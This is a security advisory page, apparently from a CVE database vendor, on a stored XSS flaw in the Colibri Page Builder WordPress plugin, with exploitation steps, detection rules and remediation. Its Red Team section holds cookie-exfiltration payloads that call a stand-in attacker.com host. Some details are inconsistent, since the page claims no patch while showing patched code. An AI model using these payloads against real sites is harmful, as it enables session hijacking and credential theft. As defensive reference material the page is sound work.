CVE-2025-59593
Executive Summary
CVE-2025-59593 is a Stored Cross-Site Scripting (XSS) vulnerability in the Extendthemes Colibri Page Builder plugin for WordPress. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into web pages generated by the plugin. The injected script executes in the context of any user viewing the affected page, leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions prior to 1.0.334. No public exploit code or patch details are currently available, but the risk is elevated due to the widespread use of this page builder in the WordPress ecosystem.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or automated deployment tools (e.g., Composer, WP-CLI) are affected. No package manager (NPM, PyPI, Go, Ruby) is involved.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
- User Interaction (UI): Required (R) – Victim must visit the compromised page.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited content manipulation possible.
- Availability (A): Low (L) – Limited service disruption possible.
CVSS Score: 5.9 (Medium) – The requirement for authentication and user interaction reduces the severity, but the stored nature of the XSS makes it persistent and dangerous in multi-user environments.
Deep Dive & Mechanics
The Colibri Page Builder plugin fails to properly sanitize user-supplied input when rendering page builder elements. Specifically, the plugin does not neutralize HTML or JavaScript in fields such as custom CSS, HTML blocks, or widget attributes. An attacker with contributor-level access can craft a page or post containing malicious JavaScript. When an administrator or other user views the page, the script executes in their browser session.
Root Cause: The plugin uses echo or wp_kses_post with insufficient filtering, allowing onerror, onload, or src attributes to contain JavaScript. The stored payload is persisted in the WordPress database and served to all visitors.
Attack Flow:
- Attacker logs in as a contributor.
- Creates a new page or edits an existing one using Colibri Page Builder.
- Inserts a custom HTML block or modifies a widget attribute with a payload like
<img src=x onerror=alert('XSS')>. - Publishes or saves the page as a draft.
- Victim (admin or visitor) loads the page.
- Payload executes, stealing cookies, redirecting to phishing sites, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (version < 1.0.334):
// In a template rendering function
echo $custom_html; // Direct output without sanitization
Patched Code (version 1.0.334+):
// In a template rendering function
echo wp_kses_post( $custom_html ); // Uses WordPress allowed HTML filtering
The patch introduces wp_kses_post which strips dangerous tags and attributes, preventing JavaScript execution. However, since no official patch has been confirmed, users should assume the vulnerable code is still in use.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress instance with Colibri Page Builder < 1.0.334.
- Contributor-level account credentials.
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to Pages > Add New.
- Switch to the Colibri Page Builder editor.
- Add a "Custom HTML" element.
- Insert the following payload:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Publish the page.
- Send the page link to an administrator or wait for a visitor.
- The victim's cookies are exfiltrated to the attacker's server.
Alternative Payload (Session Hijacking):
<script>
document.location='https://attacker.com/steal?cookie='+document.cookie;
</script>
Blue Team (Defensive)
Detection Steps:
- Monitor WordPress logs for unusual page creation or editing by low-privilege users.
- Inspect page content for suspicious HTML attributes (e.g.,
onerror,onload,src=x). - Use a Web Application Firewall (WAF) to block requests containing
<script>or event handlers in page content. - Regularly scan WordPress installations with security plugins (e.g., Wordfence, Sucuri).
Lab Setup:
- Use a local WordPress instance (e.g., via Docker) with Colibri Page Builder installed.
- Create a contributor user and test the payload.
- Monitor network traffic with Burp Suite or Wireshark to confirm exfiltration.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown domains containing
?cookie=or?data=parameters. - Unusual
Refererheaders pointing to WordPress pages with Colibri builder content.
- Outbound HTTP requests to unknown domains containing
- Host IOCs:
- WordPress database entries in
wp_postswithpost_contentcontaining<script>,onerror, oronloadattributes. - Modified
.htaccessorwp-config.phpfiles (if attacker escalates privileges).
- WordPress database entries in
- File IOCs:
- Suspicious files in
/wp-content/uploads/or/wp-content/plugins/colibri-page-builder/with embedded JavaScript.
- Suspicious files in
Detection Engineering
YARA Rule
rule CVE_2025_59593_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Colibri Page Builder content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-59593"
strings:
$xss1 = /<[^>]+onerror\s*=[^>]*>/i
$xss2 = /<[^>]+onload\s*=[^>]*>/i
$xss3 = /<script[^>]*>.*?<\/script>/is
$xss4 = /javascript\s*:/i
condition:
any of ($xss*) and filesize < 10MB
}
Sigma Rule
title: Stored XSS via Colibri Page Builder
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress posts created with Colibri Page Builder
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'wp-admin/post.php'
cs-uri-query|contains: 'action=edit'
sc-status: 200
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom HTML blocks (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-59593 Stored XSS Exfiltration Attempt";
flow:to_server,established;
content:"?cookie="; http_uri;
pcre:"/(?:document\.cookie|onerror|onload)/i";
sid:1000001;
rev:1;
reference:cve,2025-59593;
)
Remediation & Mitigation
- Immediate Action: Upgrade Colibri Page Builder to version 1.0.334 or later as soon as a patch is released. If no patch is available, disable the plugin until a fix is provided.
- Virtual Patching: Use a WAF to block requests containing
<script>,onerror,onload, orjavascript:in POST data towp-admin/post.php. - User Access Control: Restrict contributor-level access to trusted users only. Consider using role-based permissions to limit who can create or edit pages.
- Content Security Policy (CSP): Implement a strict CSP header to block inline scripts and event handlers:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; - Monitoring: Enable WordPress audit logging to track page creation and editing activities. Alert on suspicious patterns.
- Backup: Regularly backup WordPress files and database to enable quick recovery in case of compromise.
Valters IT – Securing WordPress ecosystems one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.